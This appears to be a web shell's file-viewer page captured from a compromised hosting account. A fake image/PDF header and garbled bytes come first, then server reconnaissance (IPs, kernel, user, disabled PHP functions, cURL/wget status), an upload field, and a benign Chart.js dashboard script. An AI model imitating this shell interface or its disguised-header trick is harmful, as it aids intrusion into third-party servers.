ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/domains/syoft.com/public_html/blogs/admin_css/js/ |
Upload File : |
$(function(e){ var ctx = document.getElementById( "lineChart1" ); ctx.height = 200; var myChart = new Chart( ctx, { type: 'line', data: { labels: ["2012", "2013", "2014", "2015", "2016", "2017", "2018"], datasets: [ { label: "New Users", borderColor: "rgb(237, 81, 81)", borderWidth: "5", backgroundColor: "rgb(237, 81, 81, 0.6)", data:[20, 20, 47, 20, 49, 20, 50] }, { label: "Register Users", borderColor: "rgb(156, 49, 223)", borderWidth: "5", backgroundColor: "rgba(156, 49, 223, 0.6)", pointHighlightStroke: "rgba(255,43,136, 1)", data: [26, 46, 30, 71, 20, 35, 20], } ] }, options: { responsive: true, tooltips: { mode: 'index', intersect: false, }, tooltips: { }, hover: { mode: 'nearest', intersect: true } } } ); /* Chart-js (#lineChart1) */ var myCanvas = document.getElementById("lineChart1"); myCanvas.height="290"; var myCanvasContext = myCanvas.getContext("2d"); var gradientStroke1 = myCanvasContext.createLinearGradient(0, 0, 0, 200); gradientStroke1.addColorStop(0, 'rgb(237, 81, 81 ,0.3)'); var gradientStroke2 = myCanvasContext.createLinearGradient(0, 0, 0, 190); gradientStroke2.addColorStop(0, 'rgb(156, 49, 223,0.3)'); var myChart = new Chart( myCanvas, { type: 'line', data : { labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul'], type: 'line', datasets: [ { label: "Sale Income", data: [2,7,3,5,4,5,2,8,4,6,5,2,8,4,7,2,4,6,4,8,4,], backgroundColor: gradientStroke1, borderColor: '#ed5151 ' , pointBackgroundColor:'#fff', pointHoverBackgroundColor:gradientStroke1, pointBorderColor :gradientStroke1, pointHoverBorderColor :gradientStroke1, pointBorderWidth :0, pointRadius :0, pointHoverRadius :0, labelColor:gradientStroke1, borderWidth: 2, }, { label: "Rent Income", data: [5,9,5,9,5,9,7,3,5,2,5,3,9,6,5,9,7,3,5,2,7,10], backgroundColor: gradientStroke2, borderColor: ' #9c31df', pointBackgroundColor:'#fff', pointHoverBackgroundColor:gradientStroke2, pointBorderColor :gradientStroke2, pointHoverBorderColor :gradientStroke2, pointBorderWidth :0, pointRadius :0, pointHoverRadius :0, borderWidth: 2, } ] }, options: { responsive: true, maintainAspectRatio: false, legend: { labels: { fontColor: '#070510' } }, tooltips: { show: true, showContent: true, alwaysShowContent: true, triggerOn: 'mousemove', trigger: 'axis', axisPointer: { label: { show: false, color: '#070510', }, } }, scales: { xAxes: [ { gridLines: { color: 'rgba(0,0,0,0.1)', zeroLineColor: 'rgba(0,0,0,0.5)' }, ticks: { fontSize: 12, fontColor: '#070510', beginAtZero: true, padding: 0 } } ], yAxes: [ { gridLines: { color: 'transparent', zeroLineColor: 'rgba(0,0,0,0.5)' }, ticks: { fontSize: 12, fontColor: '#070510', beginAtZero: false, padding: 0 } } ] }, title: { display: false, }, elements: { line: { borderWidth: 2 }, point: { radius: 0, hitRadius: 10, hoverRadius: 4 } } } }) /* Chart-js (#lineChart1) closed */ /* Chartjs (#survey) */ var myCanvas = document.getElementById("survey"); myCanvas.height="335"; var myCanvasContext = myCanvas.getContext("2d"); var gradientStroke1 = myCanvasContext.createLinearGradient(0, 0, 0, 380); gradientStroke1.addColorStop(0, 'rgb(237, 81, 81 ,0.8)'); var gradientStroke2 = myCanvasContext.createLinearGradient(0, 0, 0, 300); gradientStroke2.addColorStop(0, 'rgb(156, 49, 223,0.8)'); var myChart = new Chart(myCanvas, { type: 'bar', data: { labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun"], datasets: [{ label: 'Residential Houses', data: [15, 18, 12, 14, 10, 15, 7, 14], backgroundColor: gradientStroke1, hoverBackgroundColor: gradientStroke1, hoverBorderWidth: 2, hoverBorderColor: 'gradientStroke1' }, { label: 'Commercial Houses', data: [10, 14, 10, 15, 9, 14, 15, 20], backgroundColor: gradientStroke2, hoverBackgroundColor: gradientStroke2, hoverBorderWidth: 2, hoverBorderColor: 'gradientStroke2' } ] }, options: { responsive: true, maintainAspectRatio: false, tooltips: { mode: 'index', titleFontSize: 12, titleFontColor: 'rgba(225,225,225,0.9)', bodyFontColor: 'rgba(225,225,225,0.9)', backgroundColor: 'rgba(0,0,0,0.7)', cornerRadius: 3, intersect: false, }, legend: { display: true, labels: { display: true, usePointStyle: true, fontColor: '#070510' }, }, scales: { xAxes: [{ barPercentage: 0.5, ticks: { fontColor: "#070510", }, display: true, gridLines: { display: true, color: 'rgba(0,0,0,0.1)', drawBorder: false }, scaleLabel: { display: false, labelString: 'Month', fontColor: '#070510' } }], yAxes: [{ ticks: { fontColor: "#070510", }, display: true, gridLines: { display: true, color: 'rgba(0,0,0,0.1)', drawBorder: false }, scaleLabel: { display: false, labelString: 'sales', fontColor: '#070510' } }] }, title: { display: false, text: 'Normal Legend' } } }); /* Chartjs (#survey) closed */ new Morris.Donut({ element: 'morrisBar8', data: [ {value: 95, label: 'Duplex Houses'}, {value: 30, label: '2BHK Flats'}, {value: 45, label: 'Apartments'}, {value: 20, label: 'Graden House'}, ], colors: [ '#523eaf', '#9c31df', '#00e682', '#ff382b' ], formatter: function (x) { return x + "%"} }).on('click', function(i, row){ console.log(i, row); }); });